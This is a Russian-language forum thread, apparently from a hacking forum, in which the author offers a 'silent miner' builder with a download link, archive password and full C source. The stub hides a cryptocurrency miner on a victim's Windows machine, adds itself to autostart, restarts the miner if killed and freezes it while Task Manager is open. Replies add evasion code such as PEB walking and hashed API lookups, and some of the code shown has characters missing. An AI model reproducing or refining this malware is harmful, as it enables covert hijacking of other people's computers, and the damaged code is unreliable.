Тихий майнер для самых маленьких [Билдер] (исходник+бинарники)

Билдер Silent miner for babies генерирует исполняемый файл с такими возможностями:

• Автозапуск
• Запуск майнера в скрытом режиме (просто не показывает окно, никаких руткитов)
• Постоянно проверяет запущен ли диспетчер задач, если да, то замораживает майнер
• Постоянно проверяет запущен ли майнер, если нет, то запускает его снова

Билдер позволяет указать имя программы для ветки реестра автозапуска и путь к исполняемому файлу майнера (допускаються абсолютные и относительные пути, но без переменных окружения). Размер созданного файла будет около 5 кб. Исходники билдера открыты, если вы не доверяете бинарникам, то можете просмотреть исходники и скомпилировать их. Для компиляции необходимы Visual C++ и PureBasic.

Скриншот билдера:




Скачать билдер: SilentMinerForBabies.zip
Пароль к архиву: Fortran66

Исходный код стаба stub.c:
Code:

// SILENT MINER FOR BABIES (c) FORTRAN66
// COMPILER: C++ Visual Studio
//
// You can donate this project
// bitcoin:1M5C89pFBoKrP5bwSCwK1AYTjogZ9qEiro

#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>

#pragma comment(linker, /SUBSYSTEM:WINDOWS,5.01 /ENTRY:miner_main )

#pragma comment(lib, kernel32.lib)
#pragma comment(lib, user32.lib)
#pragma comment(lib, advapi32.lib)

#define _wcscat(a,b) lstrcatW(a,b)
#define _wcslen(a) lstrlenW(a)
#define _wcscmpi(a,b) lstrcmpiW(a,b)

#define _malloc(memsize) VirtualAlloc(NULL, memsize, MEM_COMMIT, PAGE_READWRITE)
#define _free(p) VirtualFree(p, 0, MEM_RELEASE)

typedef struct _RC4ctx {
uint8_t s[0x100];
uint32_t i, j;
} RC4ctx, *pRC4ctx;

#pragma pack(push, 1)
typedef struct eof_settings {
uint16_t wSize;
uint16_t wName;
uint16_t wCmdLine;
WCHAR buffer[0x800];
} eof_settings_t, *peof_settings_t;
#pragma pack(pop)

void _memset(void *s, uint8_t c, size_t n) {
unsigned char *s_ = s;
for (int i = 0; i < n; ++i) s_ = c;
return;
}

void _memcpy(void *s, const void *ct, size_t n) {
for (int i = 0; i < n; ++i) ((char *)s) = ((char *)ct);
return;
}

void rc4Init(RC4ctx *context, const uint8_t *key, size_t length) {
uint32_t i;
uint32_t j;
uint8_t temp;
context->i = 0;
context->j = 0;
for(i = 0; i < 256; i++)
context->s = i;
for(i = 0, j = 0; i < 256; i++) {
j = (j + context->s + key[i % length]) % 256;
temp = context->s;
context->s = context->s[j];
context->s[j] = temp;
}
return;
}

void rc4Cipher(RC4ctx *context, uint8_t *mem, size_t length) {
uint8_t temp;
uint32_t i = context->i;
uint32_t j = context->j;
uint8_t *s = context->s;
while(length > 0) {
i = (i + 1) % 256;
j = (j + s) % 256;
temp = s;
s = s[j];
s[j] = temp;
*mem = *mem ^ s[(s + s[j]) % 256];
mem++;
length--;
}
context->i = i;
context->j = j;
return;
}

BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args) {
HKEY hKey = NULL;
LONG lResult = 0;
BOOL fSuccess = TRUE;
DWORD dwSize;
WCHAR buff[] = {LS,Lo,Lf,Lt,Lw,La,Lr,Le,L,LM,Li,Lc,Lr,Lo,Ls,Lo,Lf,Lt,
L,LW,Li,Ln,Ld,Lo,Lw,Ls,L,LC,Lu,Lr,Lr,Le,Ln,Lt,LV,Le,Lr,Ls,Li,Lo,Ln,
L,LR,Lu,Ln,0};

WCHAR szValue[MAX_PATH*2];
_memset(szValue, 0, MAX_PATH*4);
szValue[0] = L;
_wcscat(szValue, pathToExe);
int i = _wcslen(szValue);
szValue = L;
szValue[i+1] = L ;
if (args != NULL) {
_wcscat(szValue, args);
}
lResult = RegCreateKeyExW(HKEY_CURRENT_USER, buff, 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL, &hKey, NULL);
fSuccess = (lResult == 0);
if (fSuccess) {
dwSize = (_wcslen(szValue) + 1) * 2;
lResult = RegSetValueExW(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize);
fSuccess = (lResult == 0);
}
if (hKey != NULL) {
RegCloseKey(hKey);
hKey = NULL;
}
return fSuccess;
}

int detect_taskmgr(void) {
WCHAR taskmgr_name[] = {Lt, La, Ls, Lk, Lm, Lg, Lr, L.,Le,Lx,Le,0};
int ret = FALSE;
PROCESSENTRY32W processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(hSnapshot, &processEntry) == TRUE) {
while (Process32NextW(hSnapshot, &processEntry) == TRUE) {
if (!_wcscmpi(processEntry.szExeFile, taskmgr_name)) {
ret = TRUE;
break;
};
};
};
CloseHandle(hSnapshot);
return(ret);
}

void miner_main() {
LARGE_INTEGER li;
WCHAR szPathToExe[MAX_PATH];
STARTUPINFOW si;
PROCESS_INFORMATION pi;
HANDLE hFileExe;
uint32_t exitCode;
void *eof = NULL;
size_t eof_size = 0;
char rc4key[] = {m,i,c,r,o, ,m,i,n,e,r};
RC4ctx rc4ctx;
uint32_t dwHiddenProcessId;
HANDLE hChildProcess;
rc4Init(&rc4ctx, rc4key, 11);
GetModuleFileNameW(NULL, szPathToExe, MAX_PATH);
hFileExe = CreateFileW(szPathToExe, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFileExe != INVALID_HANDLE_VALUE) {
uint32_t exefilesize;
void *exefilebuffer;
GetFileSizeEx(hFileExe, &li);
exefilesize = li.LowPart;
exefilebuffer = _malloc(exefilesize);
if (exefilebuffer) {
uint32_t read;
if (ReadFile(hFileExe, exefilebuffer, exefilesize, &read, NULL) && (exefilesize == read)) {
size_t pe_size = 0;
if (((IMAGE_DOS_HEADER *)exefilebuffer)->e_magic == IMAGE_DOS_SIGNATURE) {
PIMAGE_NT_HEADERS ntheader = (PIMAGE_NT_HEADERS)&((unsigned char *)(exefilebuffer))[((IMAGE_DOS_HEADER *)exefilebuffer)->e_lfanew];
if (ntheader->Signature == IMAGE_NT_SIGNATURE) {
uint16_t nSections = ntheader->FileHeader.NumberOfSections;
uint32_t nDirEntries = ntheader->OptionalHeader.NumberOfRvaAndSizes;
PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)&ntheader->OptionalHeader.DataDirectory[nDirEntries];
pe_size = sections[nSections-1].PointerToRawData+sections[nSections-1].SizeOfRawData;
if (pe_size && (eof_size = exefilesize - pe_size) && (eof = _malloc(exefilesize))) {
_memcpy(eof, &((char *)exefilebuffer)[pe_size], eof_size);
}
}
}
};
_free(exefilebuffer);
}
CloseHandle(hFileExe);
if (!(eof && eof_size) || (eof_size < 0x16))
ExitProcess(0);
rc4Cipher(&rc4ctx, eof, eof_size);
peof_settings_t settings = (peof_settings_t)eof;
if (settings->wSize != eof_size)
ExitProcess(0);
RegisterMyProgramForStartup(&settings->buffer[settings->wName], szPathToExe, NULL);
_memset(&si, 0, sizeof(STARTUPINFOW));
_memset(&pi, 0, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
CreateProcessW(NULL, &settings->buffer[settings->wCmdLine], NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
hChildProcess = pi.hProcess;
int flag = FALSE;
while (TRUE) {
if (GetExitCodeProcess(hChildProcess, &exitCode) && (exitCode != STILL_ACTIVE)) {
_memset(&si, 0, sizeof(STARTUPINFOW));
_memset(&pi, 0, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
CreateProcessW(NULL, &settings->buffer[settings->wCmdLine], NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
dwHiddenProcessId = pi.dwProcessId;
hChildProcess = pi.hProcess;
}
if (detect_taskmgr()) {
if (!flag)
DebugActiveProcess(dwHiddenProcessId);
flag = TRUE;
} else {
if (flag)
DebugActiveProcessStop(dwHiddenProcessId);
flag = FALSE;
}
Sleep(500);
}
}
return;
}​

Резерв для продолжения

А почему ривест? А не тот же рэин(на регистрах же)?
comment(lib, *) - ну PEB же есть и и цифрерки(ординалы) вместо имён функций...
Code:

inline volatile uint32_t sdbm(unsigned char *str) __attribute__((always_inline));
inline volatile uint32_t sdbm(unsigned char *str)
{
unsigned long hash = 0;
int c;

while (c = *str++)
hash = c + (hash << 6) + (hash << 16) - hash;


return hash;
}

inline volatile FARPROC __stdcall getFuncFromImageBaseAddr(HMODULE module, DWORD hash) __attribute__((always_inline));

inline volatile FARPROC __stdcall getFuncFromImageBaseAddr(HMODULE module, DWORD hash)
{
IMAGE_DOS_HEADER *dos_header;
IMAGE_NT_HEADERS *nt_headers;
IMAGE_EXPORT_DIRECTORY *export_dir;
DWORD *names, *funcs;
WORD *nameords;
int i;

dos_header = (IMAGE_DOS_HEADER *)module;
nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
names = (DWORD *)((char *)module + export_dir->AddressOfNames);
funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);

for (i = 0; i < export_dir->NumberOfNames; i++)
{
char *string = (char *)module + names;
if (hash == sdbm(string))
{
WORD nameord = nameords;
DWORD funcrva = funcs[nameord];
return (FARPROC)((char *)module + funcrva);
}
}

return NULL;
}


inline volatile PPEB __stdcall getPEB() __attribute__((always_inline));

inline volatile PPEB __stdcall getPEB()
{
PPEB PEB;


#ifdef __i386__
__asm__(movl %%fs:0x30, %0
: =r (PEB)
:
: );
#else
__asm__ (movq %%gs:0x60, %0
: =r (PEB)
:
: );
#endif


return PEB;
}​

_memcpy
Code:

inline volatile void *__memcpy(void *v_dst, const void *v_src, size_t c) __attribute__((always_inline));
inline volatile void *__memcpy(void *v_dst, const void *v_src, size_t c)
{
const char *src = v_src;
char *dst = v_dst;


while (c--)
*dst++ = *src++;


return v_dst;
}​

_memset
Code:

inline volatile void *__memset(void *dst0, int c0, size_t length) __attribute__((always_inline));
inline volatile void *__memset(void *dst0, int c0, size_t length)
{
size_t t;
unsigned long c;
uint8_t *dst;


dst = dst0;

if(length < 3 * wsize)
{
while (length != 0)
{
*dst++ = c0;
--length;
}

return dst0;
}

if((c = (uint8_t)c0) != 0)
{
c = (c << 8) | c;

#if __LONG_MAX__ > 0x7fff
c = (c << 16) | c;
#elif __LONG_MAX__ > 0x7fffffff
c = (c << 32) | c;
#endif
}

if((t = (uintptr_t)dst & wmask) != 0)
{
t = wsize - t;
length -= t;

do
{
*dst++ = c0;
}
while (--t != 0);
}

t = length / wsize;

do
{
*(unsigned long *)(void *)dst = c;
dst += wsize;
}
while (--t != 0);

t = length & wmask;

if(t != 0)

do
{
*dst++ = c0;
}
while (--t != 0);


return dst0;
}​

Code:

#define _wcscmpi(a,b) lstrcmpiW(a,b)​

я думаю лучше
Code:

inline volatile int __cdecl __memcmp(const void *Ptr1, const void *Ptr2, size_t Count) __attribute__((always_inline));
inline volatile int __cdecl __memcmp(const void *Ptr1, const void *Ptr2, size_t Count)
{
int v = 0;
BYTE *p1 = (BYTE *)Ptr1;
BYTE *p2 = (BYTE *)Ptr2;


while(Count-- > 0 && v == 0)
v = *(p1++) - *(p2++);


return v;
}

inline volatile void *__memmem(const void *l, size_t l_len, const void *s, size_t s_len) __attribute__((always_inline));
inline volatile void *__memmem(const void *l, size_t l_len, const void *s, size_t s_len)
{
char *cur, *last;
const char *cl = (const char *)l;
const char *cs = (const char *)s;

if (s_len == 0)
return (void *)cl;

if (l_len < s_len)
return NULL;

if (s_len == 1)
return memchr(l, (int)*cs, l_len); //FIXME: memchr - думаю не надо её приводить?

last = (char *)cl + l_len - s_len;

for (cur = (char *)cl; cur <= last; cur++)
if (cur[0] == cs[0] && memcmp(cur, cs, s_len) == 0)
return cur;


return NULL;
}​

Как то так... слушаю что скажешь про критику.



P.S. на Fortranе ПО для ракет писали...

За критику благодарю, вижу - знающий человек, уважаю . Но ... компилер для проекта Визуал Студия, поэтому твои снипеты в проект никак не влезут, ибо они под MinGW (GCC). Ординалам я не доверяю, я где-то слышал что они меняються в зависимости от версий, хеши хорошая штука, но 32 битные мне тоже стремно использовать, ибо, по моему обеждению, не существует криптографически стойких хешей с такой длинной и как-то не хочеться падения в будущих версиях винды, она ж не стандартизирована совсем - что Балмеру захочеться, то он и вставит в любую системную библиотеку, что может привести к криптографической коллизии.

Последний сниппет кажеться не к месту, WINAPI функция сравнивает строки без учета регистра, а твоя функция просто ищет нужный участок памяти.

Да, Фортран - один из первых языков программирования, который широко использовалмся инженерами, и НАСА тоже.

Благодарю за такую информативную критику

Как я понимаю он только биткоин майнит? А с другими как?

Он просто запускает произвольную прогу с любыми параметрами коммандной строки, поэтому майнер может быть любой. Для полноценной работы надо это все еще упаковать в инсталлер, в простейшем случае - SFX архив.